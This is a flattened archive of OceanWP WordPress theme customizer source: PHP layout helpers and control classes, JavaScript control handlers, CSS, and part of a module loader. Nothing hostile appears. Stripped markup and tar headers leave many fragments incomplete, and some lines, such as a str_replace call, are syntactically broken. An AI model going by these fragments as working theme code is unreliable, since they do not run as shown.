/*-------------------------------------------------------------------------------*/ function oceanwp_cac_has_scrolltop() { return get_theme_mod( 'ocean_scroll_top', true ); } function oceanwp_cac_has_footer_widgets() { return get_theme_mod( 'ocean_footer_widgets', true ); } function oceanwp_cac_has_footer_widgets_and_no_page_id() { if ( true == get_theme_mod( 'ocean_footer_widgets', true ) && '' == get_theme_mod( 'ocean_footer_widgets_page_id' ) ) { return true; } else { return false; } } function oceanwp_cac_has_footer_bottom() { return get_theme_mod( 'ocean_footer_bottom', true ); } /*-------------------------------------------------------------------------------*/ /* [ LifterLMS ] /*-------------------------------------------------------------------------------*/ function oceanwp_cac_has_llms_global_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_llms_global_layout', 'full-width' ) ) { return true; } else { return false; } } function oceanwp_cac_has_llms_global_rl_layout() { $layout = get_theme_mod( 'ocean_llms_global_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } function oceanwp_cac_has_llms_course_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_llms_course_layout', 'left-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_llms_course_rl_layout() { $layout = get_theme_mod( 'ocean_llms_course_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } function oceanwp_cac_has_llms_lesson_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_llms_lesson_layout', 'left-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_llms_lesson_rl_layout() { $layout = get_theme_mod( 'ocean_llms_lesson_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } /*-------------------------------------------------------------------------------*/ /* [ LearnDash ] /*-------------------------------------------------------------------------------*/ function oceanwp_cac_has_ld_global_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_ld_global_layout', 'full-width' ) ) { return true; } else { return false; } } function oceanwp_cac_has_ld_global_rl_layout() { $layout = get_theme_mod( 'ocean_ld_global_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } function oceanwp_cac_has_ld_course_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_ld_course_layout', 'left-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_ld_course_rl_layout() { $layout = get_theme_mod( 'ocean_ld_course_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } function oceanwp_cac_has_ld_lesson_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_ld_lesson_layout', 'left-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_ld_lesson_rl_layout() { $layout = get_theme_mod( 'ocean_ld_lesson_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } customizer/controls/dropdown-pages/class-control-dropdown-pages.php000064400000005465151551031110021772 0ustar00default ) ) { $this->json['default'] = $this->default; } else { $this->json['default'] = $this->setting->default; } $this->json['value'] = $this->value(); $this->json['choices'] = $this->choices; $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $dropdown = wp_dropdown_pages( array( 'name' => '_customize-dropdown-pages-' . esc_attr( $this->id ), 'echo' => 0, 'show_option_none' => '— '. esc_html__( 'Select', 'oceanwp' ) .' —', 'option_none_value' => '', 'selected' => esc_attr( $this->value() ), ) ); // Hackily add in the data link parameter. $dropdown = str_replace( 'get_link(), $dropdown ); $this->json['dropdown'] = $dropdown; $this->json['inputAttrs'] = ''; foreach ( $this->input_attrs as $attr => $value ) { $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" '; } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> default ) ) { $this->json['default'] = $this->default; } else { $this->json['default'] = $this->setting->default; } $this->json['value'] = $this->value(); $this->json['choices'] = $this->choices; $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['inputAttrs'] = ''; foreach ( $this->input_attrs as $attr => $value ) { $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" '; } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> default ) ) { $this->json['default'] = $this->default; } else { $this->json['default'] = $this->setting->default; } $this->json['value'] = $this->value(); $this->json['choices'] = $this->choices; $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?>
        <# for ( key in data.choices ) { #> <# } #>
        .select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:white}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top, #fff 50%, #eee 100%);background-image:-o-linear-gradient(top, #fff 50%, #eee 100%);background-image:linear-gradient(to bottom, #fff 50%, #eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top, #eee 50%, #ccc 100%);background-image:-o-linear-gradient(top, #eee 50%, #ccc 100%);background-image:linear-gradient(to bottom, #eee 50%, #ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top, #fff 0%, #eee 50%);background-image:-o-linear-gradient(top, #fff 0%, #eee 50%);background-image:linear-gradient(to bottom, #fff 0%, #eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top, #eee 50%, #fff 100%);background-image:-o-linear-gradient(top, #eee 50%, #fff 100%);background-image:linear-gradient(to bottom, #eee 50%, #fff 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{float:right}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb} customizer/controls/dimensions/dimensions.css000064400000003367151551031110015647 0ustar00.customize-control-oceanwp-dimensions > ul { display: inline-block; width: 100%; } .customize-control-oceanwp-dimensions .dimension-wrap { float: left; width: 20%; margin: 0; } .customize-control-oceanwp-dimensions .dimension-wrap input, .customize-control-oceanwp-dimensions .dimension-wrap button { display: block; font-size: 12px; padding: 4px 0; width: 100%; height: 28px; border: 1px solid; border-color: #a4afb7; border-left-width: 0; border-radius: 0; text-align: center; } .customize-control-oceanwp-dimensions .dimension-wrap:first-child input { border-left-width: 1px; border-radius: 3px 0 0 3px; } .customize-control-oceanwp-dimensions .dimension-wrap .dimension-label { display: block; color: #949698; font-size: 10px; padding-top: 5px; font-style: normal; text-transform: uppercase; text-align: center; } .customize-control-oceanwp-dimensions .dimension-wrap input:focus + .dimension-label { color: #42474a; } .customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions { background-color: #fff; border: 1px solid #a4afb7; border-left-width: 0; padding: 0; outline: none; border-radius: 0 3px 3px 0; cursor: pointer; } .customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions span { display: block; width: 100%; height: 28px; line-height: 28px; font-size: 16px; } .customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions .oceanwp-linked { background-color: #a4afb7; color: #fff; } .customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions.unlinked .oceanwp-unlinked { display: none; } .customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions.unlinked .oceanwp-linked { display: block; } .customize-control-oceanwp-dimensions .dimension-wrap .link-dimensions .oceanwp-linked { display: none; }customizer/controls/dimensions/class-control-dimensions.php000064400000016371151551031110020426 0ustar00l10n() ); wp_enqueue_style( 'oceanwp-dimensions', OCEANWP_INC_DIR_URI . 'customizer/assets/min/css/dimensions.min.css', null ); } /** * Renders the control wrapper and calls $this->render_content() for the internals. * * @see WP_Customize_Control::render() */ protected function render() { $id = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id ); $class = 'customize-control has-switchers customize-control-' . $this->type; ?>
      • render_content(); ?>
      • json['id'] = $this->id; $this->json['l10n'] = $this->l10n(); $this->json['title'] = esc_html__( 'Link values together', 'oceanwp' ); $this->json['inputAttrs'] = ''; foreach ( $this->input_attrs as $attr => $value ) { $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" '; } $this->json['desktop'] = array(); $this->json['tablet'] = array(); $this->json['mobile'] = array(); foreach ( $this->settings as $setting_key => $setting ) { list( $_key ) = explode( '_', $setting_key ); $this->json[ $_key ][ $setting_key ] = array( 'id' => $setting->id, 'link' => $this->get_link( $setting_key ), 'value' => $this->value( $setting_key ), ); } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <# if ( data.label ) { #> {{{ data.label }}}
        <# } #> <# if ( data.description ) { #> {{{ data.description }}} <# } #>
          <# _.each( data.desktop, function( args, key ) { #>
        • {{ data.l10n[ key ] }}
        • <# } ); #>
          <# _.each( data.tablet, function( args, key ) { #>
        • {{ data.l10n[ key ] }}
        • <# } ); #>
          <# _.each( data.mobile, function( args, key ) { #>
        • {{ data.l10n[ key ] }}
        • <# } ); #>
        esc_attr__( 'Top', 'oceanwp' ), 'desktop_right' => esc_attr__( 'Right', 'oceanwp' ), 'desktop_bottom' => esc_attr__( 'Bottom', 'oceanwp' ), 'desktop_left' => esc_attr__( 'Left', 'oceanwp' ), 'tablet_top' => esc_attr__( 'Top', 'oceanwp' ), 'tablet_right' => esc_attr__( 'Right', 'oceanwp' ), 'tablet_bottom' => esc_attr__( 'Bottom', 'oceanwp' ), 'tablet_left' => esc_attr__( 'Left', 'oceanwp' ), 'mobile_top' => esc_attr__( 'Top', 'oceanwp' ), 'mobile_right' => esc_attr__( 'Right', 'oceanwp' ), 'mobile_bottom' => esc_attr__( 'Bottom', 'oceanwp' ), 'mobile_left' => esc_attr__( 'Left', 'oceanwp' ), ); if ( false === $id ) { return $translation_strings; } return $translation_strings[ $id ]; } } customizer/controls/dimensions/dimensions.js000064400000006233151551031110015466 0ustar00var $ = jQuery; wp.customize.controlConstructor['oceanwp-dimensions'] = wp.customize.Control.extend({ ready: function() { 'use strict'; var control = this; control.container.on( 'change keyup paste', '.dimension-desktop_top', function() { control.settings['desktop_top'].set( jQuery( this ).val() ); } ); control.container.on( 'change keyup paste', '.dimension-desktop_right', function() { control.settings['desktop_right'].set( jQuery( this ).val() ); } ); control.container.on( 'change keyup paste', '.dimension-desktop_bottom', function() { control.settings['desktop_bottom'].set( jQuery( this ).val() ); } ); control.container.on( 'change keyup paste', '.dimension-desktop_left', function() { control.settings['desktop_left'].set( jQuery( this ).val() ); } ); control.container.on( 'change keyup paste', '.dimension-tablet_top', function() { control.settings['tablet_top'].set( jQuery( this ).val() ); } ); control.container.on( 'change keyup paste', '.dimension-tablet_right', function() { control.settings['tablet_right'].set( jQuery( this ).val() ); } ); control.container.on( 'change keyup paste', '.dimension-tablet_bottom', function() { control.settings['tablet_bottom'].set( jQuery( this ).val() ); } ); control.container.on( 'change keyup paste', '.dimension-tablet_left', function() { control.settings['tablet_left'].set( jQuery( this ).val() ); } ); control.container.on( 'change keyup paste', '.dimension-mobile_top', function() { control.settings['mobile_top'].set( jQuery( this ).val() ); } ); control.container.on( 'change keyup paste', '.dimension-mobile_right', function() { control.settings['mobile_right'].set( jQuery( this ).val() ); } ); control.container.on( 'change keyup paste', '.dimension-mobile_bottom', function() { control.settings['mobile_bottom'].set( jQuery( this ).val() ); } ); control.container.on( 'change keyup paste', '.dimension-mobile_left', function() { control.settings['mobile_left'].set( jQuery( this ).val() ); } ); } }); $( document ).on( 'click', '.oceanwp-linked', function() { // Set up variables var $this = $( this ); // Remove linked class $this.parent().parent( '.dimension-wrap' ).prevAll().slice(0,4).find( 'input' ).removeClass( 'linked' ).attr( 'data-element', '' ); // Remove class $this.parent( '.link-dimensions' ).removeClass( 'unlinked' ); } ); // Unlinked button $( document ).on( 'click', '.oceanwp-unlinked', function() { // Set up variables var $this = $( this ), $element = $this.data( 'element' ); // Add linked class $this.parent().parent( '.dimension-wrap' ).prevAll().slice(0,4).find( 'input' ).addClass( 'linked' ).attr( 'data-element', $element ); // Add class $this.parent( '.link-dimensions' ).addClass( 'unlinked' ); } ); // Values linked inputs $( document ).on( 'input', '.dimension-wrap .linked', function() { var $data = $( this ).attr( 'data-element' ), $val = $( this ).val(); $( '.linked[ data-element="' + $data + '" ]' ).each( function( key, value ) { $( this ).val( $val ).change(); } ); } );customizer/controls/typo/class-control-typo.php000064400000022416151551031110016071 0ustar00l10n = wp_parse_args( $this->l10n, array( 'family' => esc_html__( 'Font Family', 'oceanwp' ), 'size' => esc_html__( 'Font Size', 'oceanwp' ), 'weight' => esc_html__( 'Font Weight', 'oceanwp' ), 'style' => esc_html__( 'Font Style', 'oceanwp' ), 'transform' => esc_html__( 'Text Transform', 'oceanwp' ), 'line_height' => esc_html__( 'Line Height', 'oceanwp' ), 'spacing' => esc_html__( 'Letter Spacing', 'oceanwp' ), ) ); } /** * Enqueue control related scripts/styles. * * @access public */ public function enqueue() { wp_enqueue_script( 'oceanwp-select2', OCEANWP_INC_DIR_URI . 'customizer/controls/select2.min.js', array( 'jquery' ), false, true ); wp_enqueue_style( 'select2', OCEANWP_INC_DIR_URI . 'customizer/controls/select2.min.css', null ); wp_enqueue_script( 'oceanwp-typo-js', OCEANWP_INC_DIR_URI . 'customizer/assets/min/js/typo.min.js', array( 'jquery', 'customize-base', 'select2' ), false, true ); wp_enqueue_style( 'oceanwp-typo', OCEANWP_INC_DIR_URI . 'customizer/assets/min/css/typo.min.css', null ); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); // Loop through each of the settings and set up the data for it. foreach ( $this->settings as $setting_key => $setting_id ) { $this->json[ $setting_key ] = array( 'link' => $this->get_link( $setting_key ), 'value' => $this->value( $setting_key ), 'label' => isset( $this->l10n[ $setting_key ] ) ? $this->l10n[ $setting_key ] : '', ); if ( 'family' === $setting_key ) { $this->json[ $setting_key ]['choices'] = $this->get_font_families(); } elseif ( 'weight' === $setting_key ) { $this->json[ $setting_key ]['choices'] = $this->get_font_weight_choices(); } elseif ( 'style' === $setting_key ) { $this->json[ $setting_key ]['choices'] = $this->get_font_style_choices(); } elseif ( 'transform' === $setting_key ) { $this->json[ $setting_key ]['choices'] = $this->get_text_transform_choices(); } } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <# if ( data.label ) { #> {{ data.label }} <# } #> <# if ( data.description ) { #> {{{ data.description }}} <# } #>
          <# if ( data.family && data.family.choices ) { #>
        • <# if ( data.family.label ) { #> {{ data.family.label }} <# } #>
        • <# } #> <# if ( data.size ) { #>
        • <# if ( data.size.label ) { #> {{ data.size.label }} <# } #>
        • <# } #> <# if ( data.weight && data.weight.choices ) { #>
        • <# if ( data.weight.label ) { #> {{ data.weight.label }} <# } #>
        • <# } #> <# if ( data.style && data.style.choices ) { #>
        • <# if ( data.style.label ) { #> {{ data.style.label }} <# } #>
        • <# } #> <# if ( data.transform && data.transform.choices ) { #>
        • <# if ( data.transform.label ) { #> {{ data.transform.label }} <# } #>
        • <# } #> <# if ( data.line_height ) { #>
        • <# if ( data.line_height.label ) { #> {{ data.line_height.label }} <# } #>
        • <# } #> <# if ( data.spacing ) { #>
        • <# if ( data.spacing.label ) { #> {{ data.spacing.label }} <# } #>
        • <# } #>
        esc_html__( 'Default', 'oceanwp' ) ); $id = ''; // Add custom fonts from child themes if ( function_exists( 'ocean_add_custom_fonts' ) ) { $get_fonts = ocean_add_custom_fonts(); if ( $get_fonts && is_array( $get_fonts ) ) { foreach ( $get_fonts as $font ) { $fonts[ $font ] = $font; } } } // Get Standard font options if ( $std_fonts = oceanwp_standard_fonts() ) { foreach ( $std_fonts as $font ) { $fonts[ $font ] = $font; } } // Google font options if ( $google_fonts = oceanwp_google_fonts_array() ) { foreach ( $google_fonts as $font ) { $fonts[ $font ] = $font; } } return $fonts; } /** * Returns the available font weights. * * @since 1.0.0 * @access public * @return array */ public function get_font_weight_choices() { return array( '' => esc_html__( 'Default', 'oceanwp' ), '100' => esc_html__( 'Thin: 100', 'oceanwp' ), '200' => esc_html__( 'Light: 200', 'oceanwp' ), '300' => esc_html__( 'Book: 300', 'oceanwp' ), '400' => esc_html__( 'Normal: 400', 'oceanwp' ), '500' => esc_html__( 'Medium: 500', 'oceanwp' ), '600' => esc_html__( 'Semibold: 600', 'oceanwp' ), '700' => esc_html__( 'Bold: 700', 'oceanwp' ), '800' => esc_html__( 'Extra Bold: 800', 'oceanwp' ), '900' => esc_html__( 'Black: 900', 'oceanwp' ), ); } /** * Returns the available font styles. * * @since 1.0.0 * @access public * @return array */ public function get_font_style_choices() { return array( '' => esc_html__( 'Default', 'oceanwp' ), 'normal' => esc_html__( 'Normal', 'oceanwp' ), 'italic' => esc_html__( 'Italic', 'oceanwp' ), ); } /** * Returns the available text transform. * * @since 1.0.0 * @access public * @return array */ public function get_text_transform_choices() { return array( '' => esc_html__( 'Default', 'oceanwp' ), 'capitalize' => esc_html__( 'Capitalize', 'oceanwp' ), 'lowercase' => esc_html__( 'Lowercase', 'oceanwp' ), 'uppercase' => esc_html__( 'Uppercase', 'oceanwp' ), ); } } customizer/controls/typo/typo.css000064400000001410151551031110013300 0ustar00.customize-control-oceanwp-typo ul.oceanwp-typo-wrap { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-flex-wrap: wrap; flex-wrap: wrap; margin: 0 -10px; } .customize-control-oceanwp-typo ul.oceanwp-typo-wrap li { width: 50%; padding: 0 10px; margin: 0 0 15px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .customize-control-oceanwp-typo ul.oceanwp-typo-wrap li.typography-font-family { width: 100%; } .customize-control-oceanwp-typo ul.oceanwp-typo-wrap li span.label { display: block; margin: 0 0 6px; } @media only screen and (max-width: 480px) { .customize-control-oceanwp-typo ul.oceanwp-typo-wrap { margin: 0; } .customize-control-oceanwp-typo ul.oceanwp-typo-wrap li { width: 100%; padding: 0; } }customizer/controls/typo/typo.js000064400000003034151551031110013130 0ustar00wp.customize.controlConstructor['oceanwp-typo'] = wp.customize.Control.extend({ // When we're finished loading continue processing. ready: function() { 'use strict'; var control = this, element = this.container.find( 'select' ); jQuery( element ).select2( { minimumResultsForSearch: 10, dropdownCssClass: 'oceanwp-select2', width: '100%' } ); control.container.on( 'change', '.typography-font-family select', function() { control.settings['family'].set( jQuery( this ).val() ); } ); control.container.on( 'change', '.typography-font-size input', function() { control.settings['size'].set( jQuery( this ).val() ); } ); control.container.on( 'change', '.typography-font-weight select', function() { control.settings['weight'].set( jQuery( this ).val() ); } ); control.container.on( 'change', '.typography-font-style select', function() { control.settings['style'].set( jQuery( this ).val() ); } ); control.container.on( 'change', '.typography-text-transform select', function() { control.settings['transform'].set( jQuery( this ).val() ); } ); control.container.on( 'change', '.typography-line-height input', function() { control.settings['line_height'].set( jQuery( this ).val() ); } ); control.container.on( 'change', '.typography-letter-spacing input', function() { control.settings['spacing'].set( jQuery( this ).val() ); } ); } });customizer/controls/sortable/sortable.css000064400000000770151551031110014750 0ustar00.customize-control-oceanwp-sortable ul li { padding: 8px 10px; line-height: 20px; border: 1px solid #ccc; background: #fff; } .customize-control-oceanwp-sortable ul li .dashicons.dashicons-menu { float: right; } .customize-control-oceanwp-sortable ul li .dashicons.visibility { color: #49aed8; margin-right: 10px; } .customize-control-oceanwp-sortable ul li.invisible { color: #aaa; border: 1px dashed #aaa; } .customize-control-oceanwp-sortable ul li.invisible .dashicons.visibility { color: #aaa; }customizer/controls/sortable/sortable.js000064400000002427151551031110014575 0ustar00wp.customize.controlConstructor['oceanwp-sortable'] = wp.customize.Control.extend({ ready: function() { 'use strict'; var control = this; // Set the sortable container. control.sortableContainer = control.container.find( 'ul.sortable' ).first(); // Init sortable. control.sortableContainer.sortable({ // Update value when we stop sorting. stop: function() { control.updateValue(); } }).disableSelection().find( 'li' ).each( function() { // Enable/disable options when we click on the eye of Thundera. jQuery( this ).click( function() { var $i = jQuery( this ).find( 'i.visibility' ); $i.toggleClass( 'dashicons-saved' ); $i.toggleClass( 'dashicons-no-alt' ); $i.toggleClass( 'dashicons-visibility-faint' ).parents( 'li:eq(0)' ).toggleClass( 'invisible' ); }); }).click( function() { // Update value on click. control.updateValue(); }); }, /** * Updates the sorting list */ updateValue: function() { 'use strict'; var control = this, newValue = []; this.sortableContainer.find( 'li' ).each( function() { if ( ! jQuery( this ).is( '.invisible' ) ) { newValue.push( jQuery( this ).data( 'value' ) ); } }); control.setting.set( newValue ); } });customizer/controls/sortable/class-control-sortable.php000064400000006556151551031110017540 0ustar00json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = maybe_unserialize( $this->value() ); $this->json['choices'] = $this->choices; $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['inputAttrs'] = ''; foreach ( $this->input_attrs as $attr => $value ) { $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" '; } $this->json['inputAttrs'] = maybe_serialize( $this->input_attrs() ); } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> 0) { name.splice(i - 1, 2); i -= 2; } } } //end trimDots name = name.join('/'); } //Apply map config if available. if ((baseParts || starMap) && map) { nameParts = name.split('/'); for (i = nameParts.length; i > 0; i -= 1) { nameSegment = nameParts.slice(0, i).join("/"); if (baseParts) { //Find the longest baseName segment match in the config. //So, do joins on the biggest to smallest lengths of baseParts. for (j = baseParts.length; j > 0; j -= 1) { mapValue = map[baseParts.slice(0, j).join('/')]; //baseName segment has config, find if it has one for //this name. if (mapValue) { mapValue = mapValue[nameSegment]; if (mapValue) { //Match, update name to the new value. foundMap = mapValue; foundI = i; break; } } } } if (foundMap) { break; } //Check for a star map match, but just hold on to it, //if there is a shorter segment match later in a matching //config, then favor over this star map. if (!foundStarMap && starMap && starMap[nameSegment]) { foundStarMap = starMap[nameSegment]; starI = i; } } if (!foundMap && foundStarMap) { foundMap = foundStarMap; foundI = starI; } if (foundMap) { nameParts.splice(0, foundI, foundMap); name = nameParts.join('/'); } } return name; } function makeRequire(relName, forceSync) { return function () { //A version of a require function that passes a moduleName //value for items that may need to //look up paths relative to the moduleName var args = aps.call(arguments, 0); //If first arg is not require('string'), and there is only //one arg, it is the array form without a callback. Insert //a null so that the following concat is correct. if (typeof args[0] !== 'string' && args.length === 1) { args.push(null); } return req.apply(undef, args.concat([relName, forceSync])); }; } function makeNormalize(relName) { return function (name) { return normalize(name, relName); }; } function makeLoad(depName) { return function (value) { defined[depName] = value; }; } function callDep(name) { if (hasProp(waiting, name)) { var args = waiting[name]; delete waiting[name]; defining[name] = true; main.apply(undef, args); } if (!hasProp(defined, name) && !hasProp(defining, name)) { throw new Error('No ' + name); } return defined[name]; } //Turns a plugin!resource to [plugin, resource] //with the plugin being undefined if the name //did not have a plugin prefix. function splitPrefix(name) { var prefix, index = name ? name.indexOf('!') : -1; if (index > -1) { prefix = name.substring(0, index); name = name.substring(index + 1, name.length); } return [prefix, name]; } //Creates a parts array for a relName where first part is plugin ID, //second part is resource ID. Assumes relName has already been normalized. function makeRelParts(relName) { return relName ? splitPrefix(relName) : []; } /** * Makes a name map, normalizing the name, and using a plugin * for normalization if necessary. Grabs a ref to plugin * too, as an optimization. */ makeMap = function (name, relParts) { var plugin, parts = splitPrefix(name), prefix = parts[0], relResourceName = relParts[1]; name = parts[1]; if (prefix) { prefix = normalize(prefix, relResourceName); plugin = callDep(prefix); } //Normalize according if (prefix) { if (plugin && plugin.normalize) { name = plugin.normalize(name, makeNormalize(relResourceName)); } else { name = normalize(name, relResourceName); } } else { name = normalize(name, relResourceName); parts = splitPrefix(name); prefix = parts[0]; name = parts[1]; if (prefix) { plugin = callDep(prefix); } } //Using ridiculous property names for space reasons return { f: prefix ? prefix + '!' + name : name, //fullName n: name, pr: prefix, p: plugin }; }; function 